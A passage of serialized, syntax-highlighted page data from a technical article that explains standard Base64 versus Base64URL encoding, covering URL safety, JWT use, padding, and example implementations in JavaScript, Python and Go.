",[1560,262196,261793],{"class":1649},[1560,262198,262199,262201,262203,262205,262207,262210],{"class":1562,"line":11672},[1560,262200,8180],{"class":1669},[1560,262202,254961],{"class":1576},[1560,262204,8186],{"class":1669},[1560,262206,254966],{"class":1566},[1560,262208,262209],{"class":1570},"(standardBase64); ",[1560,262211,262212],{"class":1649},"\u002F\u002F SGVsbG8gV29ybGQ\n",[1560,262214,262215,262217,262219],{"class":1562,"line":19435},[1560,262216,8211],{"class":1570},[1560,262218,8214],{"class":1566},[1560,262220,262221],{"class":1570},"(base64url);\n",[11,262223,262225],{"id":262224},"why-does-this-matter","Why Does This Matter?",[33,262227,262229],{"id":262228},"the-url-problem","The URL Problem",[16,262231,262232,262233,1856,262235,262237],{},"Standard Base64 uses ",[143,262234,9448],{},[143,262236,9423],{}," characters that have special meanings in URLs:",[41,262239,262240,262245,262250],{},[44,262241,262242,262244],{},[143,262243,9448],{}," is interpreted as a space in URL query strings (application\u002Fx-www-form-urlencoded)",[44,262246,262247,262249],{},[143,262248,9423],{}," is a path separator that can break URL routing",[44,262251,262252,262254,262255,262257],{},[143,262253,7297],{}," is sometimes percent-encoded as ",[143,262256,172524],{},", making URLs longer and less readable",[16,262259,262260],{},"When you include a standard Base64 string in a URL, you typically need to percent-encode these characters:",[135,262262,262265],{"className":262263,"code":262264,"language":140},[138],"Standard Base64 in URL (problematic):\nhttps:\u002F\u002Fexample.com\u002Fapi\u002Fdata?token=SGVsbG8gV29ybGQ=+abc\u002Fdef\n\nAfter percent-encoding (ugly):\nhttps:\u002F\u002Fexample.com\u002Fapi\u002Fdata?token=SGVsbG8gV29ybGQ%3D%2Babc%2Fdef\n",[143,262266,262264],{"__ignoreMap":141},[16,262268,262269],{},"With Base64URL, the same token becomes:",[135,262271,262274],{"className":262272,"code":262273,"language":140},[138],"Base64URL in URL (clean):\nhttps:\u002F\u002Fexample.com\u002Fapi\u002Fdata?token=SGVsbG8gV29ybGQ-abc_def\n",[143,262275,262273],{"__ignoreMap":141},[33,262277,262279],{"id":262278},"jwt-the-primary-use-case","JWT: The Primary Use Case",[16,262281,262282],{},"JSON Web Tokens (JWT) use Base64URL encoding for all three parts (header, payload, signature). This is specified in RFC 7519:",[135,262284,262286],{"className":1607,"code":262285,"language":1609,"meta":141,"style":141},"\u002F\u002F JWT structure: header.payload.signature\n\u002F\u002F Each part is Base64URL-encoded\n\nconst header = { alg: \"HS256\", typ: \"JWT\" };\nconst payload = { sub: \"1234567890\", name: \"John Doe\" };\n\nconst encodedHeader = base64ToBase64Url(btoa(JSON.stringify(header)));\nconst encodedPayload = base64ToBase64Url(btoa(JSON.stringify(payload)));\n\nconsole.log(encodedHeader); \u002F\u002F eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\nconsole.log(encodedPayload); \u002F\u002F eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0\n",[143,262287,262288,262293,262298,262302,262320,262339,262343,262370,262396,262400,262412],{"__ignoreMap":141},[1560,262289,262290],{"class":1562,"line":1563},[1560,262291,262292],{"class":1649},"\u002F\u002F JWT structure: header.payload.signature\n",[1560,262294,262295],{"class":1562,"line":337},[1560,262296,262297],{"class":1649},"\u002F\u002F Each part is Base64URL-encoded\n",[1560,262299,262300],{"class":1562,"line":343},[1560,262301,1702],{"emptyLinePlaceholder":363},[1560,262303,262304,262306,262308,262310,262312,262314,262316,262318],{"class":1562,"line":365},[1560,262305,8180],{"class":1669},[1560,262307,117498],{"class":1576},[1560,262309,8186],{"class":1669},[1560,262311,240934],{"class":1570},[1560,262313,240937],{"class":5634},[1560,262315,240940],{"class":1570},[1560,262317,240943],{"class":5634},[1560,262319,131020],{"class":1570},[1560,262321,262322,262324,262326,262328,262330,262332,262335,262337],{"class":1562,"line":889},[1560,262323,8180],{"class":1669},[1560,262325,89941],{"class":1576},[1560,262327,8186],{"class":1669},[1560,262329,240957],{"class":1570},[1560,262331,242233],{"class":5634},[1560,262333,262334],{"class":1570},", name: ",[1560,262336,242244],{"class":5634},[1560,262338,131020],{"class":1570},[1560,262340,262341],{"class":1562,"line":1710},[1560,262342,1702],{"emptyLinePlaceholder":363},[1560,262344,262345,262347,262350,262352,262354,262356,262359,262361,262363,262365,262367],{"class":1562,"line":1717},[1560,262346,8180],{"class":1669},[1560,262348,262349],{"class":1576}," encodedHeader",[1560,262351,8186],{"class":1669},[1560,262353,254966],{"class":1566},[1560,262355,1688],{"class":1570},[1560,262357,262358],{"class":1566},"btoa",[1560,262360,1688],{"class":1570},[1560,262362,13411],{"class":1576},[1560,262364,468],{"class":1570},[1560,262366,82298],{"class":1566},[1560,262368,262369],{"class":1570},"(header)));\n",[1560,262371,262372,262374,262377,262379,262381,262383,262385,262387,262389,262391,262393],{"class":1562,"line":1747},[1560,262373,8180],{"class":1669},[1560,262375,262376],{"class":1576}," encodedPayload",[1560,262378,8186],{"class":1669},[1560,262380,254966],{"class":1566},[1560,262382,1688],{"class":1570},[1560,262384,262358],{"class":1566},[1560,262386,1688],{"class":1570},[1560,262388,13411],{"class":1576},[1560,262390,468],{"class":1570},[1560,262392,82298],{"class":1566},[1560,262394,262395],{"class":1570},"(payload)));\n",[1560,262397,262398],{"class":1562,"line":2507},[1560,262399,1702],{"emptyLinePlaceholder":363},[1560,262401,262402,262404,262406,262409],{"class":1562,"line":2524},[1560,262403,8211],{"class":1570},[1560,262405,8214],{"class":1566},[1560,262407,262408],{"class":1570},"(encodedHeader); ",[1560,262410,262411],{"class":1649},"\u002F\u002F eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n",[1560,262413,262414,262416,262418,262421],{"class":1562,"line":2529},[1560,262415,8211],{"class":1570},[1560,262417,8214],{"class":1566},[1560,262419,262420],{"class":1570},"(encodedPayload); ",[1560,262422,262423],{"class":1649},"\u002F\u002F eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0\n",[16,262425,262426],{},"Using standard Base64 in JWT would cause parsing errors when the token is passed via URL or stored in cookies.",[11,262428,262430],{"id":262429},"padding-to-pad-or-not-to-pad","Padding: To Pad or Not to Pad?",[33,262432,262434],{"id":262433},"standard-base64-padding","Standard Base64 Padding",[16,262436,262437,262438,262440],{},"Standard Base64 always includes padding ",[143,262439,7297],{}," characters to make the output length a multiple of 4:",[135,262442,262444],{"className":1607,"code":262443,"language":1609,"meta":141,"style":141},"btoa(\"A\");    \u002F\u002F \"QQ==\"  (padded to 4 characters)\nbtoa(\"AB\");   \u002F\u002F \"QUI=\"  (padded to 4 characters)\nbtoa(\"ABC\");  \u002F\u002F \"QUJD\"  (already multiple of 3, no padding)\n",[143,262445,262446,262460,262474],{"__ignoreMap":141},[1560,262447,262448,262450,262452,262455,262457],{"class":1562,"line":1563},[1560,262449,262358],{"class":1566},[1560,262451,1688],{"class":1570},[1560,262453,262454],{"class":5634},"\"A\"",[1560,262456,50825],{"class":1570},[1560,262458,262459],{"class":1649},"\u002F\u002F \"QQ==\"  (padded to 4 characters)\n",[1560,262461,262462,262464,262466,262469,262471],{"class":1562,"line":337},[1560,262463,262358],{"class":1566},[1560,262465,1688],{"class":1570},[1560,262467,262468],{"class":5634},"\"AB\"",[1560,262470,47771],{"class":1570},[1560,262472,262473],{"class":1649},"\u002F\u002F \"QUI=\"  (padded to 4 characters)\n",[1560,262475,262476,262478,262480,262483,262485],{"class":1562,"line":343},[1560,262477,262358],{"class":1566},[1560,262479,1688],{"class":1570},[1560,262481,262482],{"class":5634},"\"ABC\"",[1560,262484,14724],{"class":1570},[1560,262486,262487],{"class":1649},"\u002F\u002F \"QUJD\"  (already multiple of 3, no padding)\n",[33,262489,262491],{"id":262490},"base64url-padding","Base64URL Padding",[16,262493,262494,262495,262498],{},"Base64URL typically ",[47,262496,262497],{},"removes padding"," for URL safety. The decoding side must handle the missing padding:",[135,262500,262502],{"className":1607,"code":262501,"language":1609,"meta":141,"style":141},"function decodeBase64Url(base64url) {\n  \u002F\u002F Add padding if necessary\n  const padded = base64url + '==='.slice((base64url.length + 3) % 4);\n  const base64 = padded.replace(\u002F-\u002Fg, '+').replace(\u002F_\u002Fg, '\u002F');\n  return atob(base64);\n}\n\n\u002F\u002F Usage\nconst encoded = \"SGVsbG8\"; \u002F\u002F No padding\nconst decoded = decodeBase64Url(encoded); \u002F\u002F \"Hello\"\n",[143,262503,262504,262516,262521,262559,262606,262614,262618,262622,262626,262642],{"__ignoreMap":141},[1560,262505,262506,262508,262510,262512,262514],{"class":1562,"line":1563},[1560,262507,8648],{"class":1669},[1560,262509,242483],{"class":1566},[1560,262511,1688],{"class":1570},[1560,262513,254981],{"class":2219},[1560,262515,9345],{"class":1570},[1560,262517,262518],{"class":1562,"line":337},[1560,262519,262520],{"class":1649},"  \u002F\u002F Add padding if necessary\n",[1560,262522,262523,262525,262528,262530,262533,262535,262538,262540,262542,262545,262547,262549,262551,262553,262555,262557],{"class":1562,"line":343},[1560,262524,28057],{"class":1669},[1560,262526,262527],{"class":1576}," padded",[1560,262529,8186],{"class":1669},[1560,262531,262532],{"class":1570}," base64url ",[1560,262534,9448],{"class":1669},[1560,262536,262537],{"class":5634}," '==='",[1560,262539,468],{"class":1570},[1560,262541,38951],{"class":1566},[1560,262543,262544],{"class":1570},"((base64url.",[1560,262546,9418],{"class":1576},[1560,262548,29002],{"class":1669},[1560,262550,48433],{"class":1576},[1560,262552,1733],{"class":1570},[1560,262554,17990],{"class":1669},[1560,262556,13574],{"class":1576},[1560,262558,1744],{"class":1570},[1560,262560,262561,262563,262565,262567,262570,262572,262574,262576,262578,262580,262582,262584,262586,262588,262590,262592,262594,262596,262598,262600,262602,262604],{"class":1562,"line":365},[1560,262562,28057],{"class":1669},[1560,262564,131027],{"class":1576},[1560,262566,8186],{"class":1669},[1560,262568,262569],{"class":1570}," padded.",[1560,262571,22721],{"class":1566},[1560,262573,1688],{"class":1570},[1560,262575,9423],{"class":5634},[1560,262577,9412],{"class":11919},[1560,262579,9423],{"class":5634},[1560,262581,22733],{"class":1669},[1560,262583,1459],{"class":1570},[1560,262585,89979],{"class":5634},[1560,262587,9368],{"class":1570},[1560,262589,22721],{"class":1566},[1560,262591,1688],{"class":1570},[1560,262593,9423],{"class":5634},[1560,262595,23056],{"class":11919},[1560,262597,9423],{"class":5634},[1560,262599,22733],{"class":1669},[1560,262601,1459],{"class":1570},[1560,262603,89998],{"class":5634},[1560,262605,1744],{"class":1570},[1560,262607,262608,262610,262612],{"class":1562,"line":889},[1560,262609,9350],{"class":1669},[1560,262611,259688],{"class":1566},[1560,262613,259691],{"class":1570},[1560,262615,262616],{"class":1562,"line":1710},[1560,262617,1585],{"class":1570},[1560,262619,262620],{"class":1562,"line":1717},[1560,262621,1702],{"emptyLinePlaceholder":363},[1560,262623,262624],{"class":1562,"line":1747},[1560,262625,174014],{"class":1649},[1560,262627,262628,262630,262632,262634,262637,262639],{"class":1562,"line":2507},[1560,262629,8180],{"class":1669},[1560,262631,22961],{"class":1576},[1560,262633,8186],{"class":1669},[1560,262635,262636],{"class":5634}," \"SGVsbG8\"",[1560,262638,3664],{"class":1570},[1560,262640,262641],{"class":1649},"\u002F\u002F No padding\n",[1560,262643,262644,262646,262648,262650,262652,262654],{"class":1562,"line":2524},[1560,262645,8180],{"class":1669},[1560,262647,22986],{"class":1576},[1560,262649,8186],{"class":1669},[1560,262651,242483],{"class":1566},[1560,262653,33774],{"class":1570},[1560,262655,262656],{"class":1649},"\u002F\u002F \"Hello\"\n",[16,262658,262659,262661],{},[47,262660,259253],{},": Some implementations keep the padding in Base64URL. Always check what your target system expects.",[11,262663,222792],{"id":222791},[33,262665,262667],{"id":262666},"use-standard-base64-when","Use Standard Base64 When:",[41,262669,262670,262677,262684,262694],{},[44,262671,262672,262673,262676],{},"Encoding binary data for ",[47,262674,262675],{},"email attachments"," (MIME)",[44,262678,262679,262680,262683],{},"Storing binary data in ",[47,262681,262682],{},"XML or JSON"," (non-URL contexts)",[44,262685,262686,262687,262690,262691,1525],{},"Encoding ",[47,262688,262689],{},"Data URIs"," for CSS or HTML (e.g., ",[143,262692,262693],{},"data:image\u002Fpng;base64,...",[44,262695,262696],{},"General-purpose encoding where the output won't be used in URLs",[135,262698,262700],{"className":1607,"code":262699,"language":1609,"meta":141,"style":141},"\u002F\u002F Data URI example (uses standard Base64)\nconst canvas = document.getElementById('my-canvas');\nconst dataUrl = canvas.toDataURL(); \u002F\u002F data:image\u002Fpng;base64,iVBORw0KGgo...\n",[143,262701,262702,262707,262726],{"__ignoreMap":141},[1560,262703,262704],{"class":1562,"line":1563},[1560,262705,262706],{"class":1649},"\u002F\u002F Data URI example (uses standard Base64)\n",[1560,262708,262709,262711,262713,262715,262717,262719,262721,262724],{"class":1562,"line":337},[1560,262710,8180],{"class":1669},[1560,262712,100145],{"class":1576},[1560,262714,8186],{"class":1669},[1560,262716,11555],{"class":1570},[1560,262718,102436],{"class":1566},[1560,262720,1688],{"class":1570},[1560,262722,262723],{"class":5634},"'my-canvas'",[1560,262725,1744],{"class":1570},[1560,262727,262728,262730,262733,262735,262737,262740,262742],{"class":1562,"line":343},[1560,262729,8180],{"class":1669},[1560,262731,262732],{"class":1576}," dataUrl",[1560,262734,8186],{"class":1669},[1560,262736,100170],{"class":1570},[1560,262738,262739],{"class":1566},"toDataURL",[1560,262741,34220],{"class":1570},[1560,262743,262744],{"class":1649},"\u002F\u002F data:image\u002Fpng;base64,iVBORw0KGgo...\n",[33,262746,262748],{"id":262747},"use-base64url-when","Use Base64URL When:",[41,262750,262751,262760,262766,262772,262779],{},[44,262752,262753,262754,1531,262757],{},"Encoding data for ",[47,262755,262756],{},"URL query parameters",[47,262758,262759],{},"path segments",[44,262761,262762,262763],{},"Working with ",[47,262764,262765],{},"JWT tokens",[44,262767,262768,262769],{},"Storing encoded data in ",[47,262770,262771],{},"cookies",[44,262773,262774,262775,262778],{},"Generating ",[47,262776,262777],{},"filename-safe"," encoded strings",[44,262780,18204,262781,262783],{},[47,262782,242769],{}," state parameters",[135,262785,262787],{"className":1607,"code":262786,"language":1609,"meta":141,"style":141},"\u002F\u002F Storing state in OAuth flow (uses Base64URL)\nconst state = {\n  redirect: '\u002Fdashboard',\n  csrf: 'random-token-here'\n};\nconst encodedState = base64ToBase64Url(\n  btoa(JSON.stringify(state))\n);\n\u002F\u002F Use in redirect URL\nconst authUrl = `https:\u002F\u002Fauth.example.com\u002Fauthorize?state=${encodedState}`;\n",[143,262788,262789,262794,262805,262814,262822,262826,262839,262855,262859,262864],{"__ignoreMap":141},[1560,262790,262791],{"class":1562,"line":1563},[1560,262792,262793],{"class":1649},"\u002F\u002F Storing state in OAuth flow (uses Base64URL)\n",[1560,262795,262796,262798,262801,262803],{"class":1562,"line":337},[1560,262797,8180],{"class":1669},[1560,262799,262800],{"class":1576}," state",[1560,262802,8186],{"class":1669},[1560,262804,1571],{"class":1570},[1560,262806,262807,262810,262812],{"class":1562,"line":343},[1560,262808,262809],{"class":1570},"  redirect: ",[1560,262811,133473],{"class":5634},[1560,262813,11943],{"class":1570},[1560,262815,262816,262819],{"class":1562,"line":365},[1560,262817,262818],{"class":1570},"  csrf: ",[1560,262820,262821],{"class":5634},"'random-token-here'\n",[1560,262823,262824],{"class":1562,"line":889},[1560,262825,6607],{"class":1570},[1560,262827,262828,262830,262833,262835,262837],{"class":1562,"line":1710},[1560,262829,8180],{"class":1669},[1560,262831,262832],{"class":1576}," encodedState",[1560,262834,8186],{"class":1669},[1560,262836,254966],{"class":1566},[1560,262838,35957],{"class":1570},[1560,262840,262841,262844,262846,262848,262850,262852],{"class":1562,"line":1717},[1560,262842,262843],{"class":1566},"  btoa",[1560,262845,1688],{"class":1570},[1560,262847,13411],{"class":1576},[1560,262849,468],{"class":1570},[1560,262851,82298],{"class":1566},[1560,262853,262854],{"class":1570},"(state))\n",[1560,262856,262857],{"class":1562,"line":1747},[1560,262858,1744],{"class":1570},[1560,262860,262861],{"class":1562,"line":2507},[1560,262862,262863],{"class":1649},"\u002F\u002F Use in redirect URL\n",[1560,262865,262866,262868,262871,262873,262876,262879,262881],{"class":1562,"line":2524},[1560,262867,8180],{"class":1669},[1560,262869,262870],{"class":1576}," authUrl",[1560,262872,8186],{"class":1669},[1560,262874,262875],{"class":5634}," `https:\u002F\u002Fauth.example.com\u002Fauthorize?state=${",[1560,262877,262878],{"class":1570},"encodedState",[1560,262880,9582],{"class":5634},[1560,262882,2228],{"class":1570},[11,262884,262886],{"id":262885},"implementation-in-popular-languages","Implementation in Popular Languages",[33,262888,118955],{"id":8543},[135,262890,262892],{"className":1607,"code":262891,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\n\u002F\u002F Standard Base64\nconst standard = Buffer.from('Hello World').toString('base64');\nconsole.log(standard); \u002F\u002F SGVsbG8gV29ybGQ=\n\n\u002F\u002F Base64URL\nfunction toBase64Url(buffer) {\n  return buffer.toString('base64')\n    .replace(\u002F\\+\u002Fg, '-')\n    .replace(\u002F\\\u002F\u002Fg, '_')\n    .replace(\u002F=+$\u002F, '');\n}\n\nconst urlSafe = toBase64Url(Buffer.from('Hello World'));\nconsole.log(urlSafe); \u002F\u002F SGVsbG8gV29ybGQ\n",[143,262893,262894,262910,262914,262919,262946,262957,262961,262966,262980,262994,263016,263038,263060,263064,263068,263090],{"__ignoreMap":141},[1560,262895,262896,262898,262900,262902,262904,262906,262908],{"class":1562,"line":1563},[1560,262897,8180],{"class":1669},[1560,262899,41881],{"class":1576},[1560,262901,8186],{"class":1669},[1560,262903,20658],{"class":1566},[1560,262905,1688],{"class":1570},[1560,262907,41890],{"class":5634},[1560,262909,1744],{"class":1570},[1560,262911,262912],{"class":1562,"line":337},[1560,262913,1702],{"emptyLinePlaceholder":363},[1560,262915,262916],{"class":1562,"line":343},[1560,262917,262918],{"class":1649},"\u002F\u002F Standard Base64\n",[1560,262920,262921,262923,262926,262928,262930,262932,262934,262936,262938,262940,262942,262944],{"class":1562,"line":365},[1560,262922,8180],{"class":1669},[1560,262924,262925],{"class":1576}," standard",[1560,262927,8186],{"class":1669},[1560,262929,259925],{"class":1570},[1560,262931,8168],{"class":1566},[1560,262933,1688],{"class":1570},[1560,262935,181246],{"class":5634},[1560,262937,9368],{"class":1570},[1560,262939,10052],{"class":1566},[1560,262941,1688],{"class":1570},[1560,262943,131045],{"class":5634},[1560,262945,1744],{"class":1570},[1560,262947,262948,262950,262952,262955],{"class":1562,"line":889},[1560,262949,8211],{"class":1570},[1560,262951,8214],{"class":1566},[1560,262953,262954],{"class":1570},"(standard); ",[1560,262956,261793],{"class":1649},[1560,262958,262959],{"class":1562,"line":1710},[1560,262960,1702],{"emptyLinePlaceholder":363},[1560,262962,262963],{"class":1562,"line":1717},[1560,262964,262965],{"class":1649},"\u002F\u002F Base64URL\n",[1560,262967,262968,262970,262973,262975,262978],{"class":1562,"line":1747},[1560,262969,8648],{"class":1669},[1560,262971,262972],{"class":1566}," toBase64Url",[1560,262974,1688],{"class":1570},[1560,262976,262977],{"class":2219},"buffer",[1560,262979,9345],{"class":1570},[1560,262981,262982,262984,262986,262988,262990,262992],{"class":1562,"line":2507},[1560,262983,9350],{"class":1669},[1560,262985,110604],{"class":1570},[1560,262987,10052],{"class":1566},[1560,262989,1688],{"class":1570},[1560,262991,131045],{"class":5634},[1560,262993,8252],{"class":1570},[1560,262995,262996,262998,263000,263002,263004,263006,263008,263010,263012,263014],{"class":1562,"line":2524},[1560,262997,37982],{"class":1570},[1560,262999,22721],{"class":1566},[1560,263001,1688],{"class":1570},[1560,263003,9423],{"class":5634},[1560,263005,43106],{"class":11915},[1560,263007,9423],{"class":5634},[1560,263009,22733],{"class":1669},[1560,263011,1459],{"class":1570},[1560,263013,43115],{"class":5634},[1560,263015,8252],{"class":1570},[1560,263017,263018,263020,263022,263024,263026,263028,263030,263032,263034,263036],{"class":1562,"line":2529},[1560,263019,37982],{"class":1570},[1560,263021,22721],{"class":1566},[1560,263023,1688],{"class":1570},[1560,263025,9423],{"class":5634},[1560,263027,43130],{"class":11915},[1560,263029,9423],{"class":5634},[1560,263031,22733],{"class":1669},[1560,263033,1459],{"class":1570},[1560,263035,43139],{"class":5634},[1560,263037,8252],{"class":1570},[1560,263039,263040,263042,263044,263046,263048,263050,263052,263054,263056,263058],{"class":1562,"line":2534},[1560,263041,37982],{"class":1570},[1560,263043,22721],{"class":1566},[1560,263045,1688],{"class":1570},[1560,263047,9423],{"class":5634},[1560,263049,7297],{"class":11919},[1560,263051,43156],{"class":1669},[1560,263053,9423],{"class":5634},[1560,263055,1459],{"class":1570},[1560,263057,5635],{"class":5634},[1560,263059,1744],{"class":1570},[1560,263061,263062],{"class":1562,"line":2542},[1560,263063,1585],{"class":1570},[1560,263065,263066],{"class":1562,"line":2558},[1560,263067,1702],{"emptyLinePlaceholder":363},[1560,263069,263070,263072,263075,263077,263079,263082,263084,263086,263088],{"class":1562,"line":2570},[1560,263071,8180],{"class":1669},[1560,263073,263074],{"class":1576}," urlSafe",[1560,263076,8186],{"class":1669},[1560,263078,262972],{"class":1566},[1560,263080,263081],{"class":1570},"(Buffer.",[1560,263083,8168],{"class":1566},[1560,263085,1688],{"class":1570},[1560,263087,181246],{"class":5634},[1560,263089,41941],{"class":1570},[1560,263091,263092,263094,263096,263099],{"class":1562,"line":6638},[1560,263093,8211],{"class":1570},[1560,263095,8214],{"class":1566},[1560,263097,263098],{"class":1570},"(urlSafe); ",[1560,263100,262212],{"class":1649},[33,263102,9840],{"id":8261},[135,263104,263106],{"className":8259,"code":263105,"language":8261,"meta":141,"style":141},"import base64\n\ndef to_base64url(data: bytes) -> str:\n    # Standard Base64\n    standard = base64.b64encode(data).decode('ascii')\n    # Convert to Base64URL\n    url_safe = standard.replace('+', '-').replace('\u002F', '_').rstrip('=')\n    return url_safe\n\ndef from_base64url(base64url: str) -> bytes:\n    # Restore standard Base64\n    standard = base64url.replace('-', '+').replace('_', '\u002F')\n    # Restore padding\n    padding = 4 - len(standard) % 4\n    if padding != 4:\n        standard += '=' * padding\n    return base64.b64decode(standard)\n\n# Usage\nencoded = to_base64url(b\"Hello World\")\nprint(encoded)  # SGVsbG8gV29ybGQ\n\ndecoded = from_base64url(encoded)\nprint(decoded)  # b'Hello World'\n",[143,263107,263108,263112,263116,263121,263126,263131,263136,263141,263146,263150,263155,263160,263165,263170,263175,263180,263185,263190,263194,263199,263204,263209,263213,263218],{"__ignoreMap":141},[1560,263109,263110],{"class":1562,"line":1563},[1560,263111,260240],{},[1560,263113,263114],{"class":1562,"line":337},[1560,263115,1702],{"emptyLinePlaceholder":363},[1560,263117,263118],{"class":1562,"line":343},[1560,263119,263120],{},"def to_base64url(data: bytes) -> str:\n",[1560,263122,263123],{"class":1562,"line":365},[1560,263124,263125],{},"    # Standard Base64\n",[1560,263127,263128],{"class":1562,"line":889},[1560,263129,263130],{},"    standard = base64.b64encode(data).decode('ascii')\n",[1560,263132,263133],{"class":1562,"line":1710},[1560,263134,263135],{},"    # Convert to Base64URL\n",[1560,263137,263138],{"class":1562,"line":1717},[1560,263139,263140],{},"    url_safe = standard.replace('+', '-').replace('\u002F', '_').rstrip('=')\n",[1560,263142,263143],{"class":1562,"line":1747},[1560,263144,263145],{},"    return url_safe\n",[1560,263147,263148],{"class":1562,"line":2507},[1560,263149,1702],{"emptyLinePlaceholder":363},[1560,263151,263152],{"class":1562,"line":2524},[1560,263153,263154],{},"def from_base64url(base64url: str) -> bytes:\n",[1560,263156,263157],{"class":1562,"line":2529},[1560,263158,263159],{},"    # Restore standard Base64\n",[1560,263161,263162],{"class":1562,"line":2534},[1560,263163,263164],{},"    standard = base64url.replace('-', '+').replace('_', '\u002F')\n",[1560,263166,263167],{"class":1562,"line":2542},[1560,263168,263169],{},"    # Restore padding\n",[1560,263171,263172],{"class":1562,"line":2558},[1560,263173,263174],{},"    padding = 4 - len(standard) % 4\n",[1560,263176,263177],{"class":1562,"line":2570},[1560,263178,263179],{},"    if padding != 4:\n",[1560,263181,263182],{"class":1562,"line":6638},[1560,263183,263184],{},"        standard += '=' * padding\n",[1560,263186,263187],{"class":1562,"line":11615},[1560,263188,263189],{},"    return base64.b64decode(standard)\n",[1560,263191,263192],{"class":1562,"line":11621},[1560,263193,1702],{"emptyLinePlaceholder":363},[1560,263195,263196],{"class":1562,"line":11633},[1560,263197,263198],{},"# Usage\n",[1560,263200,263201],{"class":1562,"line":11638},[1560,263202,263203],{},"encoded = to_base64url(b\"Hello World\")\n",[1560,263205,263206],{"class":1562,"line":11672},[1560,263207,263208],{},"print(encoded)  # SGVsbG8gV29ybGQ\n",[1560,263210,263211],{"class":1562,"line":19435},[1560,263212,1702],{"emptyLinePlaceholder":363},[1560,263214,263215],{"class":1562,"line":19442},[1560,263216,263217],{},"decoded = from_base64url(encoded)\n",[1560,263219,263220],{"class":1562,"line":19475},[1560,263221,263222],{},"print(decoded)  # b'Hello World'\n",[33,263224,9900],{"id":39417},[135,263226,263228],{"className":39424,"code":263227,"language":39417,"meta":141,"style":141},"package main\n\nimport (\n    \"encoding\u002Fbase64\"\n    \"strings\"\n)\n\nfunc toBase64URL(data []byte) string {\n    b64 := base64.StdEncoding.EncodeToString(data)\n    return strings.TrimRight(\n        strings.ReplaceAll(\n            strings.ReplaceAll(b64, \"+\", \"-\"),\n            \"\u002F\", \"_\",\n        ),\n        \"=\",\n    )\n}\n\nfunc fromBase64URL(s string) ([]byte, error) {\n    s = strings.ReplaceAll(s, \"-\", \"+\")\n    s = strings.ReplaceAll(s, \"_\", \"\u002F\")\n    \u002F\u002F Add padding if needed\n    switch len(s) % 4 {\n    case 2:\n        s += \"==\"\n    case 3:\n        s += \"=\"\n    }\n    return base64.StdEncoding.DecodeString(s)\n}\n",[143,263229,263230,263235,263239,263244,263249,263254,263258,263262,263267,263272,263277,263282,263287,263292,263297,263302,263306,263310,263314,263319,263324,263329,263334,263339,263344,263349,263354,263359,263363,263368],{"__ignoreMap":141},[1560,263231,263232],{"class":1562,"line":1563},[1560,263233,263234],{},"package main\n",[1560,263236,263237],{"class":1562,"line":337},[1560,263238,1702],{"emptyLinePlaceholder":363},[1560,263240,263241],{"class":1562,"line":343},[1560,263242,263243],{},"import (\n",[1560,263245,263246],{"class":1562,"line":365},[1560,263247,263248],{},"    \"encoding\u002Fbase64\"\n",[1560,263250,263251],{"class":1562,"line":889},[1560,263252,263253],{},"    \"strings\"\n",[1560,263255,263256],{"class":1562,"line":1710},[1560,263257,8252],{},[1560,263259,263260],{"class":1562,"line":1717},[1560,263261,1702],{"emptyLinePlaceholder":363},[1560,263263,263264],{"class":1562,"line":1747},[1560,263265,263266],{},"func toBase64URL(data []byte) string {\n",[1560,263268,263269],{"class":1562,"line":2507},[1560,263270,263271],{},"    b64 := base64.StdEncoding.EncodeToString(data)\n",[1560,263273,263274],{"class":1562,"line":2524},[1560,263275,263276],{},"    return strings.TrimRight(\n",[1560,263278,263279],{"class":1562,"line":2529},[1560,263280,263281],{},"        strings.ReplaceAll(\n",[1560,263283,263284],{"class":1562,"line":2534},[1560,263285,263286],{},"            strings.ReplaceAll(b64, \"+\", \"-\"),\n",[1560,263288,263289],{"class":1562,"line":2542},[1560,263290,263291],{},"            \"\u002F\", \"_\",\n",[1560,263293,263294],{"class":1562,"line":2558},[1560,263295,263296],{},"        ),\n",[1560,263298,263299],{"class":1562,"line":2570},[1560,263300,263301],{},"        \"=\",\n",[1560,263303,263304],{"class":1562,"line":6638},[1560,263305,39137],{},[1560,263307,263308],{"class":1562,"line":11615},[1560,263309,1585],{},[1560,263311,263312],{"class":1562,"line":11621},[1560,263313,1702],{"emptyLinePlaceholder":363},[1560,263315,263316],{"class":1562,"line":11633},[1560,263317,263318],{},"func fromBase64URL(s string) ([]byte, error) {\n",[1560,263320,263321],{"class":1562,"line":11638},[1560,263322,263323],{},"    s = strings.ReplaceAll(s, \"-\", \"+\")\n",[1560,263325,263326],{"class":1562,"line":11672},[1560,263327,263328],{},"    s = strings.ReplaceAll(s, \"_\", \"\u002F\")\n",[1560,263330,263331],{"class":1562,"line":19435},[1560,263332,263333],{},"    \u002F\u002F Add padding if needed\n",[1560,263335,263336],{"class":1562,"line":19442},[1560,263337,263338],{},"    switch len(s) % 4 {\n",[1560,263340,263341],{"class":1562,"line":19475},[1560,263342,263343],{},"    case 2:\n",[1560,263345,263346],{"class":1562,"line":19508},[1560,263347,263348],{},"        s += \"==\"\n",[1560,263350,263351],{"class":1562,"line":44196},[1560,263352,263353],{},"    case 3:\n",[1560,263355,263356],{"class":1562,"line":44203},[1560,263357,263358],{},"        s += \"=\"\n",[1560,263360,263361],{"class":1562,"line":44220},[1560,263362,11612],{},[1560,263364,263365],{"class":1562,"line":71501},[1560,263366,263367],{},"    return base64.StdEncoding.DecodeString(s)\n",[1560,263369,263370],{"class":1562,"line":71518},[1560,263371,1585],{},[11,263373,10393],{"id":10392},[33,263375,263377],{"id":263376},"_1-mixing-up-the-two-encodings","1. Mixing Up the Two Encodings",[135,263379,263381],{"className":1607,"code":263380,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Using standard Base64 in JWT\nconst jwtPart = btoa(JSON.stringify(payload)); \u002F\u002F May contain +, \u002F, =\n\n\u002F\u002F CORRECT: Use Base64URL for JWT\nconst jwtPart = base64ToBase64Url(btoa(JSON.stringify(payload)));\n",[143,263382,263383,263388,263412,263416,263421],{"__ignoreMap":141},[1560,263384,263385],{"class":1562,"line":1563},[1560,263386,263387],{"class":1649},"\u002F\u002F WRONG: Using standard Base64 in 